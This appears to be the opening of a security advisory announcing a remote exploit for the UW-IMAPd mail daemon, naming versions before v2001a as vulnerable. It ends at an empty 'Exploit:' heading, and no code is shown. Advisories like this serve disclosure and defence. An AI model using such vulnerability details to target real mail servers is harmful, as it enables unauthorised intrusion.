Remote Exploit for UW-IMAPd Capability (IMAP4)
------------------------------------------------------------------------


SUMMARY

The <http://www.washington.edu/imap/> Washington's IMAPd (UW-IMAPd) is
the most popular daemon in mail services used in ISP's around the Internet
world. Developed by Washington's University this program is used with many
webmail-based services. The following is a remote exploit code for the
IMAPd security vulnerability.

DETAILS

Vulnerable systems:
* UW-Imap4 versions prior to v2001a

Exploit:
